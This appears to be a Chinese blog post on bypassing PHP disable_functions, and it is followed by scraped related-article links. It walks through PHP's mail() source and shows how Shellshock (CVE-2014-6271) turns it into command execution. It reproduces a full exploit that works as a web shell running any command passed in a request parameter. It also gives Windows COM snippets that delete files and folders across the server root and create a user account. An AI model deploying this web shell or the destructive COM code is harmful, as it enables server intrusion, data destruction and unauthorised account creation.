先简单说一下php调用mail()函数的过程。
看到源码ext/mail.c

236行:

char *sendmail_path = INI_STR("sendmail_path");
char *sendmail_cmd = NULL;

从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的:

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i").
;sendmail_path =

注释中可以看到,send_mail默认值为"sendmail -t -i".

extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。

如下:

if (!sendmail_path) {
#if (defined PHP_WIN32 || defined NETWARE)
/* handle old style win smtp sending */
if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) {
if (tsm_errmsg) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg);
efree(tsm_errmsg);
} else {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err));
}
MAIL_RET(0);
}
MAIL_RET(1);
#else
MAIL_RET(0);
#endif
}
if (extra_cmd != NULL) {
spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
} else {
sendmail_cmd = sendmail_path;
}

之后执行:

#ifdef PHP_WIN32
sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC);
#else
/* Since popen() doesn't indicate if the internal fork() doesn't work
* (e.g. the shell can't be executed) we explicitly set it to 0 to be
* sure we don't catch any older errno value. */
errno = 0;
sendmail = popen(sendmail_cmd, "w");
#endif

将sendmail_cmd丢给popen执行。
如果系统默认sh是bash,popen就会丢给bash执行。而之前的bash破壳(CVE-2014-6271)漏洞,直接导致我们可以利用mail()函数执行任意命令,绕过disable_functions。

影响版本:php 各版本

修复方法:修复CVE-2014-6271

给出POC(http://www.exploit-db.com/exploits/35146/)如下:

<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271 function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

<?php
$mPath = str_repeat(“..”,20);
$FSOdelFile = new COM(‘Scripting.FileSystemObject’);
//利用了wshom.ocx
$FSOdelFile->DeleteFile($mPath.”.*.dat”, True);
//删除C区根目录的所有dat文件?> wshom.ocx中的DeleteFolder
利用这个函数可以删除服务器上的文件夹,很恐怖哦。测试代码如下: <?php
$mPath = str_repeat(“..”,20);
$FSOdelFolder = new COM(‘Scripting.FileSystemObject’);
//使用wshom.ocx
$FSOdelFolder->DeleteFolder($mPath.”.11″, True);
//删除特定的文件夹
?> 访问之后,成功删除了c:11这个文件夹。 shgina.dll中Create函数创建账户
这个漏洞的测试代码如下: <?php
$user = new COM(‘{60664CAF-AF0D-0004-A300-5C7D25FF22A0}’);
//利用shgina.dll$user->Create(“asd”);
//创建账户asd
?>

PHP Execute Command Bypass Disable_functions的更多相关文章

  1. ODOO-10.0 错误 Could not execute command 'lessc'

    2017-01-05 20:24:12,473 4652 INFO None odoo.service.db: Create database `hello`. 2017-01-05 20:24:16 ...

  2. VS2010提示error TRK0002: Failed to execute command解决方法

    昨天windows8自动更新Microsoft .NET Framework 3.5和4.5.1安全更新程序,今天用VS2010编译时提示如下错误信息 TRACKER : error TRK0002: ...

  3. Failed to execute command: ""C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin\ResGen.exe" 的一个解决办法

    最近在做wpf项目,期间下了一些源码参考,但是在build时经常遇到下面这种bug: Error 2 Failed to execute command: ""C:\Program ...

  4. Node.js log2: ERR when execute command >npm install

    1.Node.js创建项目 项目microblog创建成功,提示:cd  microblog& npm install 项目创建完成时的目录如下图所示: 2.Node.js错误 如题所言: E ...

  5. VS2010提示error TRK0002: Failed to execute command

    转自VC错误:http://www.vcerror.com/?p=277 问题描述: windows8自动更新Microsoft .NET Framework 3.5和4.5.1安全更新程序,今天用V ...

  6. Unable to execute command or shell on remote system: Failed to Execute process

    1.问题描述 先说下我的项目环境:jenkins部署在windows下面,项目部署也是在windows下面,ssh服务器是FreeSSHd,原来是打算用Send files or execute co ...

  7. shell function/for in/for (())/string concat/has dir/rename using regex/if(())/exit/execute command and pass value to variable/execute python

    #!/bin/bash #remove the MER.*_ in file name for all the files in a dir function getdir(){ for elemen ...

  8. 安装Odoo9出现的could not execute command "lessc"问题

    解决方案: apt-get install node-less

  9. 9.0 alpha 版安装出现 could not execute command lessc 的问题

    解决方案: apt-get install node-less

随机推荐

  1. CARP 使用笔记

    1.安装 freebsd 7.3下用kldload if_carp 加载不了,报找不到模块的错,升级到9.2后就可以了. 然后按照freebsd官方手册的ifconfig carp0 create创建 ...

  2. win平台检查内存泄露

    int main() { _CrtSetDbgFlag(_CrtSetDbgFlag(_CRTDBG_REPORT_FLAG) | _CRTDBG_LEAK_CHECK_DF); _CrtSetBre ...

  3. Java for LeetCode 066 Plus One

    Given a non-negative number represented as an array of digits, plus one to the number. The digits ar ...

  4. 前台js分页,自己手写逻辑

    js代码如下: //设置分页 var pageSize = 10; //设置一次显示多少页 var pageLimit = 5; $(function(){ //查询所有内容 $.post(ctx + ...

  5. Java删除文件夹和文件

    转载自:http://blog.163.com/wu_huiqiang@126/blog/static/3718162320091022103144516/ 以前在javaeye看到过关于Java操作 ...

  6. String解析

    常量池(Constant Pool):指的是在编译期被确定,并被保存在已编译的.class文件中的一些数据.JVM虚拟机为每个被装载的类型维护一个常量池.常量池就是该类型所用到常量的一个有序集和,包括 ...

  7. Android procrank , showmap 内存分析

    (一)DDMS 的Heap Dump 1) Data Object:java object. 2) Class Object:object of type Class, e.g. what you'd ...

  8. 取余运算(codevs 1497)

    题目描述 Description 输入b,p,k的值,编程计算bp mod k的值.其中的b,p,k*k为长整型数(2^31范围内). 输入描述 Input Description b p k 输出描 ...

  9. cocos2dx创建sprite的多种方法

    方法一 最常用,也是最简单的一种方法 CCSprite *bg=CCSprite::create(,,,)); bg->setAnchorPoint(ccp(,)); bg->setPos ...

  10. CentOS下配置Hadoop集群:java.net.NoRouteToHostException: No route to host问题的解决

    我用的是hadoop 1.2.1 遇到的问题是: hadoop中datanode无法启动,报Caused by: java.net.NoRouteToHostException: No route t ...